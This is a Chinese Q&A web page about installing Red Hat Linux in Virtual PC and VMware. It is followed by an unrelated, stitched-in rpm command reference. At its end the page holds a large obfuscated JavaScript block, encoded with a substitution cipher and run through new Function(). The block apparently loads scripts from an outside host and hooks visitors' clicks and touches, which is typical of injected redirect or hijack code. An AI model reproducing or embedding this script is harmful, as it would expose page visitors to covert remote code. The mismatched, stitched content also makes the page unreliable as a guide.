如何在vmware上安装linux系统

2025-02-12 08:12:24
推荐回答(1个)
回答1:

一、VPC的安装和调试

和VMware相比,VPC显得小巧许多,但功能一点也不逊色。安装VPC非常简单,双击其安装程序后,一路单击下一步即可安装成功。安装完成之后,即会出现一个向导让您安装第一台虚拟PC。您可以使用这个向导,建立您的第一台虚拟机!比如在计算机名称里输入:linux8.0,点下一步,它会让您选择要安装的操作系统,并且它已经自动识别出您要安装的操作系统为linux,点选下一步,选择创建一个新的硬盘(这里只是创建一个文件),指定它的路径为您的计算机上空余空间比较多的分区内,点选下一步,选择它使用的内存多少(如果您把来要安装Linux的图形界面,建议您设置的内存至少为128M),然后一台新的PC就建立成功了,是不是很简单?您现在就可以启动您的系统了!

二、在vpc下安装Red Hat 8.0

当然,您刚才点选“启动系统”并不会真正的启动系统,因为您的系统还没有安装呢!那么,下面跟着我一步步的安装Linux吧!在VPC下安装Red Hat 8.0比较简单。VPC在部分计算机上默认是以光盘引导的(如果不是,在刚才的启动界面按F2键,进入BIOS设置,选boot,把cd-rom调到floppy的上面),插入您的Linux 8.0的第一张光盘,然后就会由光盘引导。出现引导界面后,您直接按回车键,进入图形化安装界面,您可以在第一个屏幕选择您熟悉的简体中文做您的安装语言,然后根据向导一步步地往下进行。这个过程很简单,但有一个地方需要我们注意:VPC只能虚拟出S3显卡,在最后的配置一屏中您千万不要更改显卡,另外它可能也认不出显示器来,这两屏您就用它默认的。直接点下一步。不要担心,如果不正确的话,再重新启动时,它会让您重新配置的。然后您就可以启动Red Hat Linux 8.0了,如果您选择的登录界面是图形化,您就可以看到一个漂亮的界面让您输入用户名密码。如果屏幕闪烁了几下,没有出现图形化界面,倒出现了一个警告,那么说明您的显卡和显示器配置不正确,不要慌,它接下来会让您重新配置的。您把显卡设为S3,分辨率设为800*600,显示器呢就用“Unknow”吧!,一切都又一片光明了。

二、在vpc下安装Red Hat 9.0

在VPC下安装Red Hat 9.0可能没有安装8.0那么顺利,不过如果您看过此文,也许还会非常顺利。需要注意的也是显卡:您同样要把显卡配置为S3,分辨率设为800*600,但是您要注意,在9.0里面它的驱动可能认为S3支持24位色,实际上它只支持16位色,您要更改这个设置,显示器还可以用默认的。在这里,您最好把登录界面设为:文本登录。

如果您上面的步骤设置不正确,启动时出现了好宽一个屏幕,并且上面只是花屏。您不要慌,下面听我说解决办法。首先重新启动您的虚拟机,在出现grub后,在您安装的系统上面按“e”,然后出现grub的配置文件,移动鼠标到第二行“Ker……”,再按“e”,然后您在这一行的结尾加上:空格 single,或者“/init 1”,然后按“b”重启,即可进入“单用户模式”。进入后,您在提示符下敲入:vi /etc/X11/XF86Config (如果您记不了那么多,您可以按tab键,系统会自动给您补上后面的字母),然后会打开这个文件,您输入“/screen”,然后程序会给您找到有关它的配置的地方。然后您按“i”键进入插入模式,把这里的24改为16,然后按ESC键,按Shift+:,输入wq回车存退出。输入init 6,重新启动,是不是您的图形界面又出来了!

四、VMWare的安装

VMWare的安装和VPC的安装比较类似,安装完成之后,同样有向导让您新建PC的。

五、VMWare下安装Red Hat Linux

VMWare的体积比较庞大,有19M之多。但功能也比较丰富,你在他下面的安装会非常顺利。如果有其他问题,您可以安装VMWare tools。

六、如果您还有其他什么问题,欢迎与我交流

这是我以前写的贴子,在dev-club中贴过。现在送给使用vpc有问题的朋友们,希望对大家有帮助。 [#page_#][#page_#]

--help

输出一个长的使用信息(如果运行rpm时没有选项,则给出短的使用信息)。

--justdb

只更新数据库;不改变任何文件。

--pipe command

用管道把rpm输出到commond。

--quiet

仅显示错误信息。

--rcfile filename

用filename作为配置文件,而不用系统配置文件/etc/rpmrc或$HOME/.rpmrc。

--root dir

在dir目录内执行所有操作。

--version

输出rpm版本号。

-vv

输出调试信息。

安装升级和刷新

安装或升级一个RPM包,install命令的语法为:

rpm -i [install-options] package_file

rpm --install [install-options] package_file

示例:

[root@localhost ~]# rpm -i lynx-2.8.5-18.i386.rpm

package lynx-2.8.5-18 is already installed

[root@localhost ~]# rpm --install lynx-2.8.5-18.i386.rpm

为了安装一个包的新版本,同时删除现有版本,使用upgrade命令:

rpm -U [install-options] package_file

rpm --upgrade [install-options] package_file

示例:

先安装旧版

[root@localhost ~]# rpm -i lynx-2.8.5-11.i386.rpm

再安装新版

[root@localhost ~]# rpm -U lynx-2.8.5-18.i386.rpm

显示出新版本信息

[root@localhost ~]# rpm -q lynx

lynx-2.8.5-18

说明:

-U的一个特点是如果包在系统上不存在,其作用就与-i选项一样,即安装包。

与-U的特点不一样,刷新(freshen)一个包,是指在已经安装了旧有版本时rpm才升级包。

刷新的语法是:

rpm -F [install-options] package_file

rpm --freshen [install-options] package_file

示例:

从未安装过lynx包,使用-F选项,把无法升级。

[root@localhost ~]# rpm -F lynx-2.8.5-18.i386.rpm

[root@localhost ~]# rpm -q lynx

package lynx is not installed

安装和更新选项为:

--allfiles

安装或更新所有文件。

--badreloc

与--relocate一起使用,强制重新定位,即使包不是可重定位的。

--excludedocs

不安装任何文档文件。

--excludepath path

不安装文件名以path开始的任何文件。

--force

强制安装。等价于使用--replacepkgs,--replacefiles和--oldpackage。

-h,--hash

当包档案被解包时打印50个散列标记。使用--version选项以进行更好的显示。

--ignorearch

即使二进制包用于不同的体系结果也进行安装。

--ignoreos

即使操作系统不匹配也安装二进制包。

--ignoresize

安装前不检查磁盘的可用空间。

--includedocs

安装文档文件。只有在rpmrc文件中指定了excludedocs:1时,才需要这个选项。

--nodeps

不检查这个包是否依赖于其他包的存在。[#page_#]

--noorder

安装之前,不为了满足依赖关系而对包进行重新排序。

--noscripts

不执行任何预安装或后安装脚本。

--notriggers

不执行任何由包安装触发的脚本。

--oldpackage

允许升级以用旧包替换新包。

--percent

当文件被解压时输出完成百分比的信息。

--prefix path

把可重定位包的安装前缀设置为path。

--replacefiles

即使包替换了来自其他安装包的文件,也安装这些包。

--replacepkgs

即使某些包已经被安装,也安装他们。

--test

检查安装过程,看整个过程都做了些什么,但并不真正安装包。

查询

query命令的语法为:

rpm -q[information-options] [package-options]

rpm --query[information-options] [package-options]

查询选项有两个子集:包选择选项决定查询什么包,信息选择选项决定提供什么信息。

以下简单示演示一下包查询:

简单查询:

最简单的形式是rpm -q packagename查询。可以用这个命令寻找以安装包的版本。

示例:

[root@localhost ~]# rpm -q lynx

lynx-2.8.5-18

信息查询:

rpm -qi packagename命令可以得到安装包的汇总信息。

示例:

[root@localhost ~]# rpm -qi lynx

Name : lynx Relocations: (not relocatable)

Version : 2.8.5 Vendor: Red Hat, Inc.

Release : 18 Build Date: 2004年07月08日 星期四 18时52分16秒

Install Date: 2006年05月30日 星期二 13时27分21秒 Build Host: tweety.build.redhat.com

Group : 应用程序/互联网 Source RPM: lynx-2.8.5-18.src.rpm

Size : 4837340 License: GPL

Signature : DSA/SHA1, 2004年10月21日 星期四 01时14分03秒, Key ID b44269d04f2a6fd2

Packager : Red Hat, Inc.

URL : http://lynx.isc.org/

Summary : 一个基于文本的网页浏览器。

Description :

Lynx 是一个基于文本的 万维网 浏览器。Lynx不显示任何

图像,但是它支持框架、表格、以及多数其它 HTML

标签。Lynx 优于图形化浏览器的地方是它的速度――

Links 能够快速启动、退出、及显示网页。

标识拥有者

找出什么包拥有文件file:

示例:

[root@localhost ~]# rpm -qf /etc/lynx-site.cfg

lynx-2.8.5-18

列表包中的文件:

如果对一个包不够了解,则可以用rpm -ql packagename命令列出包中的文件。这个表中确认某个配置文件或命令是否在这个包中。如果要升级,这个信息有助于了解升级有什么风险。

示例:

此为部分显示结果

[root@localhost ~]# rpm -ql lynx

/etc/lynx-site.cfg

/etc/lynx.cfg

/etc/lynx.cfg.cs

/etc/lynx.cfg.ja

/etc/lynx.cfg.sk

/usr/bin/lynx

/usr/share/doc/lynx-2.8.5

/usr/share/doc/lynx-2.8.5/INSTALLATION

/usr/share/doc/lynx-2.8.5/README

/usr/share/doc/lynx-2.8.5/docs[#page_#]/usr/share/doc/lynx-2.8.5/docs/CHANGES2.3

/usr/share/doc/lynx-2.8.5/docs/CHANGES2.4

/usr/share/doc/lynx-2.8.5/docs/CHANGES2.5

/usr/share/doc/lynx-2.8.5/docs/CHANGES2.6

/usr/share/doc/lynx-2.8.5/docs/CHANGES2.7

/usr/share/doc/lynx-2.8.5/docs/CHANGES2.8

/usr/share/doc/lynx-2.8.5/docs/CMU.announce

/usr/share/doc/lynx-2.8.5/docs/CRAWL.announce

/usr/share/doc/lynx-2.8.5/docs/FM.announce

/usr/share/doc/lynx-2.8.5/docs/IBMPC-charsets.announce

/usr/share/doc/lynx-2.8.5/docs/OS-390.announce

/usr/share/doc/lynx-2.8.5/docs/README.TRST

/usr/share/doc/lynx-2.8.5/docs/README.chartrans

列出包所提供的实际能力:

--provides选项的作用是列出这个包所提供的实际能力。

示例:

[root@localhost ~]# rpm -q --provides lynx

config(lynx) = 2.8.5-18

webclient

lynx = 2.8.5-18

列出这个包所倚赖的任何包:

-R,--requires选项的作用是列出这个包所依赖的任何包。

示例:

[root@localhost ~]# rpm -qR lynx

/bin/sh

config(lynx) = 2.8.5-18

indexhtml

libc.so.6

libc.so.6(GLIBC_2.0)

libc.so.6(GLIBC_2.1)

libc.so.6(GLIBC_2.2)

libc.so.6(GLIBC_2.3)

libcrypto.so.4

libncursesw.so.5

libssl.so.4

libz.so.1

rpmlib(CompressedFileNames) <= 3.0.4-1

rpmlib(PayloadFilesHavePrefix) <= 4.0-1

列出包中的配置文件

-c,--configfiles选项的作用是列出包中的配置文件

示例:

[root@localhost ~]# rpm -qc lynx

/etc/lynx-site.cfg

/etc/lynx.cfg

/etc/lynx.cfg.cs

/etc/lynx.cfg.ja

/etc/lynx.cfg.sk

显示有关于包的改变信息的日志:

--changllog选项的作用是显示有关于包的改变信息的日志。

示例:

此为部分显示结果

[root@localhost ~]# rpm -q --changelog lynx

* 五 7月 09 2004 Tim Waugh 2.8.5-18

- Removed perl dependencies (bug #127423).

* 三 6月 16 2004 Elliot Lee

- rebuilt

* 三 5月 26 2004 Tim Waugh 2.8.5-16

- No longer need lynx-284-ipv6-salen.patch.

- No longer need lynx2-8-2-telnet.patch.

* 六 2月 14 2004 Elliot Lee 2.8.5-15

- rebuilt

* 二 12月 02 2003 Tim Waugh 2.8.5-14

- Updated to dev16, fixing bug #110196.

- No longer need crlf patch.

- Use shipped ja translations.

- Use %find_lang.

- Default config file now sets UTF-8 (bug #110986).

包选择选项

package_name

查询已安装包的package_name。

-a,--all

查询所有已安装拨。

-f file,--file file

找出什么包拥有文件file。

-g group,--group group

找出什么包拥有组group。

-p package_file[#page_#] 查询未安装包package_file

--querybynumber num

查询第num个数据库条目。主要用于调试。

-qf,--queryformat num

指定显示查询结果时所采用的格式,使用标记来表示不同的数据类型(NAME,FILENAME,DISTRIBUTION)。格式说明是标准printf格式化的一个变体。

--specfile specfile

查询specfile,就好象它是个包

--triggeredby pkg

列出触发安装pkg包的包。

--whatrequires capability

列出要求特定能力来行使职责的包。

--whatprovides capability

列出提供特定能力的包。

信息选择选项:

-c,--configfiles

列出包中的配置文件。

--changelog

显示有关于包的改变信息的日志。

-d,--docfiles

列出包中的文档文件。

--dump

转储包中每个文件的信息。这个选项必须至少与-l,-c或-d之一共同使用。

以下列顺序输出信息:

path size mtime md5sum mode owner group isconfig isdoc rdev symlink

--filebypkg

列出每个包中的所有文件。

-i

显示包的信息,包括名字,版本和描述。

-l,--list

列出包中所有文件

--last

根据安装时间列出包,最新的包排第一位。

--provides

列出这个包所提供的实际能力。

-R,--requires

列出这个包所依赖的任何包。

-s,--state

列出包中的每个文件及其状态。可能的状态为normal,not installed或replaced。

--scripts

列出任何在安装和卸载过程中所使用的包特定的shell脚本。

卸载

uninstall命令的语法为:

rpm -e package_name

rpm --erase package_name

示例:

[root@localhost ~]# rpm -e lynx

[root@localhost ~]# rpm -q lynx

package lynx is not installed

卸载选项为:

--allmatches

删除包的所有版本。应该只指定一个包,否则会导致错误。

--nodeps

在卸载包之前不检查依赖性。

--noscripts

不执行任何预卸载和后卸载脚本。

--notriggers

不执行任何由这个包的删除而出发的脚本。

--test

不真正卸载任何包,仅仅查看活动过程。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();